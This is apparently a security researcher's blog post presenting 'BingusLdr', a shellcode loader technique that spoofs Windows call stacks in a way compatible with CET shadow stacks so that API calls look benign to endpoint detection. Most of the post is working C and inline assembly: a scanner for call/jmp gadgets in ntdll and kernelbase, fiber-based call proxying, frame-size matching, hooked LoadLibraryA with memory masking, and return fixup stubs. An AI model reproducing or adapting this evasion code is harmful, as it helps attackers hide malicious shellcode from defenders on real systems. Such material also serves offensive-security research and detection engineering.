BingusLdr: CET Compatible Stack Spoofing

In my last post I essentially sidestepped the issue of callstack spoofing. I still think there is some merit to that method if you plan on staying completely in process, but here I have what I believe to be a better method which is much more similar to classic callstack spoofing.

Code: github.com/Sizeable-Bingus/BingusLdr

“Zero Call”

In my understanding being compatible with CET isn’t enough to have a spoofing implementation when it’s enabled. For example, there’s nothing inherently incompatible with synthetic frames under CET as they are never actually returned to and return addresses are only validated on return. However faults are not the only issue CET introduces as even if the fault is never triggered the mismatch between the unwinder and the shadow stack still exists which can certainly be a detection vector.

In the most basic example runner.exe will invoke the shellcode like ((void(*)(void))shellcode)();, at this point in time shellcode is being executed with the following callstack:

    runner.exe+0x123
    kernel32.dll!BaseThreadInitThunk
    ntdll.dll!RtlUserThreadStart

This is the magical “zero call” state where shellcode is being executed and has not yet made a call and pushed its address to the stack causing the unwinder to tweak out. From here we could tailcall into any API and get a stack like:

    kernel32.dll!VirtualAlloc
    runner.exe+0x123
    kernel32.dll!BaseThreadInitThunk
    ntdll.dll!RtlUserThreadStart

From here there are two main problems:

  1. This zero call state quickly vanishes
  2. Tailcalling an API from here will not return back to our shellcode

Preserving State

In this case the fibers are used “backwards” in a sense as the bulk of execution (the DLL loading part of the loader and the capability) is executed in the created fiber while the original thread is used exclusively for the call proxy. This has the advantage of the proxied calls having the RtlUserThreadStart/BaseThreadInitThunk base frames as opposed to the RtlUserFiberStart/BaseFiberStart frames which could be considered suspicious in some cases.

The Gadget

The most straightforward way to get execution back to the shellcode without pushing its address is to return to a jmp <nonvol> gadget. With CET this needs to be a real return address so it must be call preceded like image_rop compatible gadgets with the additional limitation that the call actually has to be executed. In my search to find a gadget that fits these constraints I’ve found that there are many call [<reg> +/- 32disp]; jmp [<nonvol> +/- 8disp] gadgets throughout Windows DLLs and can reliably be found in kernelbase and ntdll.

typedef struct _GADGET {
    LPVOID call;            // 0
    UINT_PTR jmp_ret;       // 8
    UINT_PTR frame_size;    // 16
    INT32 call_disp;        // 24
    INT8 jmp_disp;          // 28
} GADGET, *PGADGET;

BOOL findGadget(HMODULE h_module, OUT PGADGET gadget, SIZE_T max_frame_size) {
    SIZE_T text_end = 0;
    PBYTE text_start = (PBYTE)getText(h_module, &text_end);

    BYTE call[2] = { 0xFF, 0x90 }; // call [rax +/- 32_disp]
    BYTE jmp[2] = { 0xFF, 0x66 };  // jmp [rsi +/- 8_disp]
    for (PBYTE i = (PBYTE)text_start; (UINT_PTR)i < text_end; i++) {
        if (_memcmp(i, call, 2) && _memcmp(i + 6, jmp, 2)) {
            PRUNTIME_FUNCTION p_runtime_func = getRuntimeFunction(i, NULL);
            if (p_runtime_func == NULL)
                continue;

            gadget->frame_size = getFrameSize(p_runtime_func, (DWORD64)h_module);
            if (gadget->frame_size == -1 || gadget->frame_size > max_frame_size)
                continue;

            gadget->call = i;
            gadget->call_disp = *(PINT32)(i+2);
            gadget->jmp_disp = *(PINT8)(i+8);
            return TRUE;
        }
    }
    return FALSE;
}

Matching Frame Size

Another issue is that since our gadget is tailcalled from the zero call function it has to reuse its frame, so its frame must be larger than the gadget’s frame. Fortunately since we control the zero call function it is easy to give it a frame size large enough to accommodate most gadgets:

[[maybe_unused]] volatile CHAR give_me_big_frame[1024] = { 0 };

Now that the frame size is large enough it needs to be shrunk to match the size of the gadget:

UINT_PTR findReturnAddressOffset(PVOID ret_addr, PVOID rsp) {
    ULONG_PTR low, high;
    KERNELBASE$GetCurrentThreadStackLimits(&low, &high);

    UINT_PTR rspi = (UINT_PTR)rsp;
    for (; rspi < high; rspi += sizeof(UINT_PTR)) {
        if (*(PUINT_PTR)rspi == (UINT_PTR)ret_addr) return rspi - (UINT_PTR)rsp;
    }
    return 0;
}

void go() {
	<...SNIP...>

	register PVOID rsp __asm("rsp");
    UINT_PTR ret_offset = findReturnAddressOffset(__builtin_return_address(0), rsp);
    GADGET gadget = { 0 };
    getGadget(&gadget, ret_offset);
    DWORD frame_difference = (ret_offset - gadget.frame_size);
    
    <...SNIP...>
}

In retrospect there’s probably a better way to handle the frame size matching but I’m too lazy to go back and redo it at this point.

Putting it Together

First go’s zero call state is saved and a fiber to load the DLL is created. Then go’s frame size is calculated and saved before jumping to the stub:

loader.c

void go() {
    [[maybe_unused]] volatile CHAR give_me_big_frame[1024] = { 0 };
    g_clean_state = KERNEL32$ConvertThreadToFiber(NULL);
    g_run_state = KERNEL32$CreateFiber(0, (LPFIBER_START_ROUTINE)load, NULL);

    register PVOID rsp __asm("rsp");
    UINT_PTR ret_offset = findReturnAddressOffset(__builtin_return_address(0), rsp);

    g_stitch_args = NTDLL$RtlAllocateHeap(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(STITCH_ARG));
    g_stitch_args->ret_fiber = (UINT_PTR)g_run_state;
    g_stitch_args->go_frame_size = ret_offset;
    __asm("jmp stitchMainStub\n" : : "c"(g_stitch_args) : "memory");

stitchMainStub will move the STITCH_ARG to a nonvolatile register so it will be restored by SwitchToFiber, then it will switch to the runner fiber:

stitch.c

__attribute__((naked))
void stitchMainStub(PSTITCH_ARG arg) {
    __asm("mov rbx, rcx\n"
          "jmp stitchmain\n");
}

__attribute__((naked))
void stitchMain(PSTITCH_ARG arg) {
    __asm(
        "mov rcx, [rbx + 144]\n"               // ret_fiber
        "mov rax, [__imp_KERNEL32$SwitchToFiber]\n"
        "call rax\n"
<...SNIP...>

When the runner fiber calls one of the hooked APIs it will set up the FUNC_CALL struct and GADGET structs for the given API, save the difference between go’s frame size and the gadget’s, and then switch back to the zero call fiber.

hooks.h

HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName) {
    MaskMemory();
    HMODULE module = (HMODULE)stitch(KERNEL32$LoadLibraryA, 1, lpLibFileName);
    UnmaskMemory();
    return module;
}

stitch.h

typedef struct _FUNC_CALL {
    UINT_PTR function;
    UINT_PTR argc;
    UINT_PTR argv[10];
} FUNC_CALL, *PFUNC_CALL;

typedef struct _GADGET {
    LPVOID call;            // 0
    UINT_PTR jmp_ret;       // 8
    UINT_PTR frame_size;    // 16
    INT32 call_disp;        // 24
    INT8 jmp_disp;          // 28
} GADGET, *PGADGET;

stitch.c

UINT_PTR stitch(LPVOID function, DWORD argc, ...) {
    FUNC_CALL func_call = { 0 };
    func_call.function = (UINT_PTR)function;
    func_call.argc = argc;
    va_list args;
    va_start(args, argc);
    for (DWORD i = 0; i < argc; i++) {
        func_call.argv[i] = va_arg(args, UINT_PTR);
    }
    va_end(args);
    g_stitch_args->func_call = func_call;

    GADGET gadget = { 0 };
    getGadget(&gadget, g_stitch_args->go_frame_size);
    g_stitch_args->gadget = gadget;
    g_stitch_args->rsp_disp = (g_stitch_args->go_frame_size - gadget.frame_size);

    KERNEL32$SwitchToFiber(g_clean_state);

    return g_stitch_args->ret;
}

Now the zero call fiber resumes execution at the mov r10, rbx with STITCH_ARGS being in rbx where the following happens:

  • Save original rsi
  • Shrink frame to match gadget’s frame size
  • Set up function arguments
  • Apply the gadget’s expected displacement to the pointers
  • jump to the call gadget
__attribute__((naked))
void stitchMain(PSTITCH_ARG arg) {
    __asm(
        "mov rcx, [rbx + 144]\n"               // ret_fiber = fiber to switch to
        "mov rax, [__imp_KERNEL32$SwitchToFiber]\n"
        "call rax\n"

        "mov r10, rbx\n"
        "lea rax, [rip + stitchFixup]\n"
        "mov qword ptr [r10 + 104], rax\n"      // gadget.jmp_ret slot = &stitchMain
        "mov qword ptr [r10 + 128], rsi\n"      // STITCH_ARG.rsi_save

        "add rsp, [r10 + 152]\n"                // rsp_disp = stack adjustment for gadget call

        "lea r11, [r10 + 16]\n"                 // &func_call.argv
        "mov rax, [r10 + 8]\n"                  // func_call.argc
        "dec rax\n"                             // 0-indexed last arg
        "mov rcx, rax\n"                        // stack slot index
        "sub rcx, 4\n"

        ".stack_args:\n"
        "cmp rax, 4\n"
        "jl .done\n"
        "mov r8, [r11 + rax*8]\n"
        "mov qword ptr [rsp + rcx*8 + 0x20], r8\n"
        "dec rax\n"
        "dec rcx\n"
        "jmp .stack_args\n"

        ".done:\n"
        "lea rax, [r10]\n"                      // &func_call.function = pointer to target function ptr
        "movsxd rdx, dword ptr [r10 + 120]\n"   // call displacement (gadget.call_disp)
        "sub rax, rdx\n"                        // apply displacement

        "movsx rdx, byte ptr [r10 + 124]\n"     // jmp displacement (gadget.jmp_disp)
        "lea rsi, [r10 + 104]\n"                // &gadget.jmp_ret slot (holds continuation)
        "sub rsi, rdx\n"

        "mov rcx, [r11]\n"                      // func_call.argv[0]
        "mov rdx, [r11 + 8]\n"                  // func_call.argv[1]
        "mov r8,  [r11 + 16]\n"                 // func_call.argv[2]
        "mov r9,  [r11 + 24]\n"                 // func_call.argv[3]
        "jmp [r10 + 96]\n"                      // gadget.call
    );
}

test_dll.c

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
    switch (reason) {
        case DLL_PROCESS_ATTACH:
            MessageBoxA(NULL, "Bingus", "msgbox_dll", MB_OK);
            while (TRUE) {
                DWORD ms = GetTickCount() % 15000;
                Sleep(ms);
            }
            break;
    }
    return TRUE;
}

When executing the shellcode with a call it will inherit all the previous frames:

Call stack when executing the shellcode with a call

When executing the shellcode with a thread you will need to put some effort in to dress up your start address:

Call stack when executing the shellcode with a thread The other thread here is the main thread waiting on getchar so it doesn’t exit

Finally on the return execution jumps to the fixup where go’s frame size is restored, the API’s return value is saved, and context is switched back to the runner fiber.

stitch.c

__attribute__((naked))
void stitchFixup() {
    __asm (
        "sub rsp, [rbx + 152]\n"
        "mov [rbx + 160], rax\n"
        "jmp stitchMain\n"
    );
}

Caveats

When executing with a call if the previous frame utilizes a frame pointer the stack will not unwind. This could probably be supported by reading the chosen gadget’s unwind information to find out where it stores registers and matching that, but I don’t want to. When executing with a thread you’ll have to take care to dress up the start address or it will point to the shellcode. In the example I used the _beginthreadex but you might have to do better than this.

Reference